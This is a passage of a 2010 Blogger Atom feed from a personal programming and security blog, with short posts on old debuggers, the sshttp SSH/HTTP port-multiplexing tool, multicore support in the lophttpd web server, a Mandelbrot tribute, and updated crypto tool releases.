src="http://4.bp.blogspot.com/_DbsW_SGQJgI/TQpFKcIFJ4I/AAAAAAAAAJE/xAF_Q6IzQ90/s320/td.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;While I am not going to explain for what reason exactly&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;TurboDebugger&lt;/i&gt; was cool (I know the even more cool guys&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;used &lt;i&gt;SoftIce&lt;/i&gt; :) it showed you the hard way why&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;RealMode&lt;/i&gt; really sucked in particular if there is a &lt;i&gt;ProtectedMode&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;since years. So isnt there any good OS utilizing that?&lt;br /&gt;Whats this "Linux" ...?&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4253769815166411699?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4253769815166411699/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4253769815166411699' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4253769815166411699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4253769815166411699'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/12/bootdisk-and-rootdisk.html' title='The bootdisk and the rootdisk'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_DbsW_SGQJgI/TQpFKcIFJ4I/AAAAAAAAAJE/xAF_Q6IzQ90/s72-c/td.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4179539235456629897</id><published>2010-12-06T23:37:00.000-08:00</published><updated>2010-12-10T08:07:02.551-08:00</updated><title type='text'>Gingerbread</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If someone already has got a &lt;i&gt;Gingerbread&lt;/i&gt; and wants to&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;save&lt;/b&gt; the world, let me know.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4179539235456629897?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4179539235456629897/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4179539235456629897' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4179539235456629897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4179539235456629897'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/12/gingerbread.html' title='Gingerbread'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3582860335393827326</id><published>2010-11-15T00:15:00.000-08:00</published><updated>2010-11-15T00:15:50.506-08:00</updated><title type='text'>Happy Birthday to .no</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Special greetings and congratulations to &lt;i&gt;Uschluh&lt;/i&gt; today&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;where the one and only &lt;b&gt;root&lt;/b&gt; is celebrating his BD.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;May be the force with you to withstand all evil of life&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;in whatever shape it will appear: users, bosses, women,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;burning switches or Fedora 14.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://www.youtube.com/watch?v=rmHDhAohJlQ"&gt;You've got the power.&lt;/a&gt;&amp;nbsp;Looking forward to a new &lt;i&gt;Gewaltmarsch. &lt;/i&gt;:)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3582860335393827326?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3582860335393827326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3582860335393827326' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3582860335393827326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3582860335393827326'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/11/happy-birthday-to-no.html' title='Happy Birthday to .no'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8072915414290699413</id><published>2010-11-01T10:01:00.000-07:00</published><updated>2010-11-01T10:01:46.839-07:00</updated><title type='text'>New sshttp feature trickery</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://stealth.openwall.net/networking/sshttp-0.25.tgz"&gt;sshttp&lt;/a&gt; is now able to hide SSH inside HTTPS as well.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;SSH behind HTTP was possible before, and so was HTTPS,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;but now it is "official" :)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;You cannot mix HTTP and HTTPS in the same instance,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;but you can run multiple &lt;i&gt;sshttpd's&lt;/i&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I also added multicore support (basically the same&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;as for &lt;i&gt;lophttpd&lt;/i&gt;, see earlier postings) AND support&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for &lt;b&gt;Linux capabilities&lt;/b&gt;. It runs as &lt;i&gt;nobody&lt;/i&gt; in a chroot now&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and only keeps &lt;i&gt;CAP_NET_ADMIN&lt;/i&gt; and &lt;i&gt;CAP_NET_BIND_SERVICE&lt;/i&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8072915414290699413?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8072915414290699413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8072915414290699413' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8072915414290699413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8072915414290699413'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/11/new-sshttp-feature-trickery.html' title='New sshttp feature trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1061823447648326793</id><published>2010-10-30T07:51:00.000-07:00</published><updated>2010-10-30T07:51:30.508-07:00</updated><title type='text'>Multicore support for lophttpd</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://stealth.openwall.net/networking/lophttpd-0.86.tgz"&gt;lophttpd&lt;/a&gt; (in version 0.86), which is my private research&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;project for high performance web servers, now comes&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;with support for multiple cores (Linux only for now).&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Unless specified otherwise, one thread per CPU core sleeps&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;in a &lt;i&gt;accept()&lt;/i&gt; loop. Increasing load of the cores will then&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;result in more and more connections passed to the &lt;i&gt;accept()&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;sleeping on yet unused cores.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;This works since the kernel wakeup's all threads sleeping&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;in the &lt;i&gt;accept()&lt;/i&gt; but only one will actually get the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;connection (all others get EAGAIN).&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;In OS engineering this is known as the &lt;b&gt;thundering herd&lt;/b&gt; problem&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;if you have thousands of processes woken up at once.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;However this does not apply here since the number of cores&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;is small compared to what would "thunder a herd".&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;So basically we take the good parts of that "problem" but do not&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;run into the problem itself.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If it turns out to work well, I will also add multicore&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;support to &lt;i&gt;sshttp&lt;/i&gt;. And it is by far more fun to code it&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;than the OS classes at university discovering scheduling theoretically.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1061823447648326793?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1061823447648326793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1061823447648326793' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1061823447648326793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1061823447648326793'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/10/multicore-support-for-lophttpd.html' title='Multicore support for lophttpd'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8796886125994400314</id><published>2010-10-16T09:30:00.000-07:00</published><updated>2010-10-16T09:43:49.699-07:00</updated><title type='text'>Death of a great mathematican</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I just read that the great Mathematican&amp;nbsp;&lt;b&gt;Benoît Mandelbrot&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;died on Oct 14th.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;His &lt;i&gt;Mandelbrot-set&lt;/i&gt; fractales were one reason for me to start programming&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;back in the days. Beside its beauty its likely&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;that all your mobile internet wont work without fractales&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;since (almost all?) antennas inside small wifi/GSM/UMTS&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;are self-similar to have maximum gain/space ratio. A lot of other technical and scientific&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;equipment would be NULL without that too, and I bet the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;distribution signature of self replicating code also has to&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;be self-similar if it wants to be optimal. :-)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8796886125994400314?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8796886125994400314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8796886125994400314' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8796886125994400314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8796886125994400314'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/10/death-of-great-mathematican.html' title='Death of a great mathematican'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1466868428884660982</id><published>2010-10-11T09:45:00.001-07:00</published><updated>2010-10-11T09:45:43.269-07:00</updated><title type='text'>New sshttp available</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I switched the I/O engine inside &lt;b&gt;sshttpd&lt;/b&gt; from blocking to&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;non-blocking sockets. Blocking I/O is by far easier,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;but disappearing IPs could hang all other connections.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;This should be fixed now.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Non-blocking socket state engines are really worth&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;a PhD thesis. :-)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Anything else is as before, just setup &lt;b&gt;nf-setup&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and run &lt;b&gt;sshttpd&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Available for download &lt;a href="http://stealth.openwall.net/networking/sshttp-0.23.tgz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1466868428884660982?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1466868428884660982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1466868428884660982' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1466868428884660982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1466868428884660982'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/10/new-sshttp-available.html' title='New sshttp available'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8102519846510815235</id><published>2010-10-08T06:56:00.000-07:00</published><updated>2010-10-08T07:11:52.789-07:00</updated><title type='text'>Hiding a sshd inside a httpd trickery</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you always asked yourself how you could run both a &lt;i&gt;sshd&lt;/i&gt; and&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;an &lt;i&gt;apache&lt;/i&gt; (or a &lt;i&gt;lophttpd&lt;/i&gt;!) on the same TCP port 80&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;without patching any client or server software and still&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;getting always the right service, you should&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;have a look at &lt;a href="http://stealth.openwall.net/networking/sshttp-0.21.tgz"&gt;sshttp.&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8102519846510815235?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8102519846510815235/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8102519846510815235' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8102519846510815235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8102519846510815235'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/10/hiding-sshd-inside-httpd-trickery.html' title='Hiding a sshd inside a httpd trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-403724562247906008</id><published>2010-09-18T10:03:00.000-07:00</published><updated>2010-09-18T10:03:49.766-07:00</updated><title type='text'>743C mails</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Every now and then I check my &lt;i&gt;7-4-3-C&lt;/i&gt; mailbox and I was quite surprised that in the days&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;quite a lot of mails arrived. Please dont take it as arrogance if I am not answering, unless there are specific questions regarding&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;license or such.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The amount of mail is just too much and most of them do not&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;contain really urgent/important questions.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;So please accept this post as a reply.&lt;/b&gt; Thanks for&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the mails and the offers you made.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Continuing 743C does not depend on the amount of donations&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;(which has been asked for) since it was not meant to&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;be a commercial success-project. Nevertheless thanks to the people who&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;did a donation.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;To those familar with 4-digit hex numbers, I had to name it&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;743C for a certain reason. I am not dead, I am just focusing&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;on different projects to stay sharp. :-)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-403724562247906008?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/403724562247906008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=403724562247906008' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/403724562247906008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/403724562247906008'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/09/743c-mails.html' title='743C mails'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-109057131047293762</id><published>2010-09-10T08:01:00.000-07:00</published><updated>2010-09-10T08:02:46.171-07:00</updated><title type='text'>updated crypto tools available</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I submitted new versions of &lt;a href="http://stealth.openwall.net/crash"&gt;crash&lt;/a&gt; and &lt;a href="http://stealth.openwall.net/crypto"&gt;psc&lt;/a&gt;&amp;nbsp;mainly&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to honor even more strict GCC behavior.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;A lot of my own tools dont build anymore because of some&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;tricky type conversion which I always thought would be&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;plain ANSI. Well.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It seems to me that type conversion is not a possible&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;thing anymore today.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, 